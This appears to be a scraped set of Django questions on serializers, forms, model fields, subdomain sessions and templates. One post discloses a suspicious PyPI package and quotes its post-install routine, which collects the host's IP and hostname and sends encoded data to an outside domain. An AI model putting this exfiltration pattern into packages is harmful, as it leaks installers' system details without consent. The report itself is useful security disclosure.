Better way to save data in database using django serializer
Hello I am working on a project in which I'm making serializers. Right now the way I'm saving the information is as follows models.py class Services(models.Model): business = models.ForeignKey(Business, on_delete=models.CASCADE) service = models.CharField(max_length=30, blank=True) serializers.py class ServiceSerializer(serializers.ModelSerializer): class Meta: model = Services fields = ('id', 'business', 'service') views.py class ServiceAPIView(APIView): permission_classes = [IsAuthenticated] def post(self, request): data = request.data business = Business.objects.get(user=request.user) data['business'] = business.pk serializer = BusinessSerializer(data=data) if serializer.is_valid(): serializer.save() return Response(serializer.data, status=status.HTTP_200_OK) return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) urls.py urlpatterns = [ path('business/', BusinessAPIView.as_view()), ] and I send post requests using postman. This is working fine but this is a very small part of the application and the code will grow to be very large. If there is a better way of doing this in which I write smaller code then I would like to employ that. -
Assign pk form URL to model's related field
I would like to use the "nested" url /customers/<id>/orders for creating new orders and I would like to get the order's customer_id based on the request's url <id>. Of course, Order model has a customer = ForgeinKey(Customer,..) field that relates to the Customer model. My approach so far is creating an OrderSerializer and tampering with the self.context['request'] class in order to get the url and the customer's pk. However that does not work for me so far. Any suggestions? Thanks! -
How to pass request in forms.BooleanField to get the data from database in Django?
I'm using forms.BooleanField for checkbox filtering. I got stuck on getting the data from the database. Meaning: If the user clicks on the SAMSUNG product the data should filter all the SAMSUNG products. well, I have tried to get the brand list from the database and it is doing well but when I click on a specific brand it does not filter a specific brand. (rather it just refresh and show the same data) Code goes here: forms.py class BrandForm(forms.Form): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) brands = Product.objects.filter(category=1).values_list('brand', flat=True) for brand in brands: self.fields[f'{brand}'] = forms.BooleanField(label=f'{brand}', required=False) views.py def product(request): product = Product.objects.all().order_by('-id') formBrand = BrandForm() return render(request, 'list/product.html', {'product': product, 'formBrand':formBrand} ) index.html <form action="{% url 'main:productdata' %}" method="get"> {{ formBrand.as_p }} <input type="submit" value="OK"> </form> What all the code should be implemented? -

Can a django model have a hardcoded no type field?
Basically my question stems from the need to create multiple models that branch off a main base class. Each of these models have a type, and I wish to keep this type on the model in the database, but I want to room for error so I thought of hardcoding it into the model. This is pretty much a question of "Is this something that django supports?". I haven't fully tested this, I don't know / can't say that if I did this right now everything would be fine or not ... but I can't seem to find the relevant documentation for it and would like to learn the best practices. Here is an example of what I mean: from django.db import models from enum import Enum class PersonType(Enum): STUDENT = "Student" TEACHER = "Teacher" class BaseClass(models.Model): """Represents a base model""" name = models.TextField() age = models.IntegerField() class Student(BaseClass): """Represents a student""" type = PersonType.STUDENT.value class Teacher(BaseClass): """Represents a teacher""" type = PersonType.TEACHER.value Would something like this be accepted by django? The only other solution I can think of is to make type a TextField with the default property set, and never expose it via the serializer. There is no … -
Is it possible to use Django Channels to refresh a page when an async task is done?

Possible dependency confusion vulnerabilities in pypi (Python)?
Possible dependency confusion vulnerabilities in pypi ! I made a discovery, it's a bit of a mystery to me. I'm currently developing a Django web app and using a tool called pip-licenses I could output all the packages with their corresponding licenses. When doing so I discovered a package that I never installed: pkg-resources (https://pypi.org/project/pkg-resourcess/#description) at first glance I could tell something was different about this package, first of all no version, and no license. I downloaded the source and their is some strange call to the dev's website: def _post_install(): ip = requests.get('https://api.ipify.org').text ipText = format(ip); myhost = os.uname()[1] # [...] # The call to the dev website: r = requests.get("https://kotko.me?"+company+name+"="+base64_message) I found the dev website clicking on source from the pypi site wich took me to (what I think is) a private repo: https://github.com/kotko/bravado-decorators, I can only assume his account is: https://github.com/kotko.

Dynamically save the Django form
I am trying not to use formset in my form. Instead of that, I trying to create form dynamically and save all forms data in DB. I can create a dynamic form, but whenever I create multiple forms in "create order", it always saves the last forms data. For example, once I create 3 forms, and after saving the form, the table shows me only 3rd form data, which means it does not save all data together. views.py def create_order(request): from django import forms form = OrderForm() if request.method == 'POST': forms = OrderForm(request.POST) if forms.is_valid(): po_id = forms.cleaned_data['po_id'] supplier = forms.cleaned_data['supplier'] product = forms.cleaned_data['product'] part = forms.cleaned_data['part'] order = Order.objects.create( po_id=po_id, supplier=supplier, product=product, part=part, ) forms.save() return redirect('order-list') context = { 'form': form } return render(request, 'store/addOrder.html', context) forms.py class OrderForm(forms.ModelForm): class Meta: model = Order fields = ['supplier', 'product', 'part','po_id'] widgets = { 'supplier': forms.Select(attrs={'class': 'form-control', 'id': 'supplier'}), 'product': forms.Select(attrs={'class': 'form-control', 'id': 'product'}), 'part': forms.Select(attrs={'class': 'form-control', 'id': 'part'}), } HTML <form action="#" method="post" id="form-container" novalidate="novalidate"> {% csrf_token %} <div class="form"> <div class="form-group"> <label for="po_id" class="control-label mb-1">ID</label> {{ form.po_id }} </div> <div class="form-group"> <label for="supplier" class="control-label mb-1">Supplier</label> {{ form.supplier }} </div> <div class="form-group"> <label for="product" class="control-label mb-1">Product</label> {{ form.product … -
Django sharing session id across subdomains
I have a Django powered website at example.com. There is another fronted app (working with REST API) which we want to host at store.example.com. What I want to achieve is to share session id between these domains. Because users will log in at example.com and then can go to store.example.com, if they wish. I found this gist that shows: DOMAIN = 'store.example.com' CSRF_COOKIE_DOMAIN = DOMAIN SESSION_COOKIE_DOMAIN = DOMAIN Are the above settings enough for my purpose? What confuses me is that some answers in stackoverflow says that both sites should be powered by Django. -
Trying to render a django form field as a variable in a script tag in an html template, but the javascript isn't working
My issue is simple enough--I am trying to render a form field from a django form into a javascript variable, defined within a tag, within a django template. When I output a CharField, there's no problem. But when I try to render a ChoiceField, the resulting output breaks the html, and prevents the script tag from correctly parsing my variable. To demonstrate my setup, I have a form defined in forms.py, exactly like this example form: from django import forms form = TestForm(forms.Form): testfield = forms.ChoiceField(initial="increase_rate", choices=[ ("a", "option a"), ("b", "option b"), ("c", "option c"), ("d", "option d") ]) I am instantiating the form in views.py, and passing it into a django template to be rendered. from django.shortcuts import render from .forms import TestForm [...] @require_http_methods(["GET"]) def webpage(request): form = TestForm() return render(request, 'index.html', {"form":form}) Then, finally, in my template, I have something like the following: [...] <script> window.testfield = '{{ form.testfield }}' </script> [...] Up until this point, everything works perfectly. No trouble at all. But when I render the field into the template, and inspect it in my browser, I get the following: <script> window.testfield = '<select name="trigger" id="id_trigger"> <option value="a" selected>option a</option> <option value="b">option b</option> <option … -
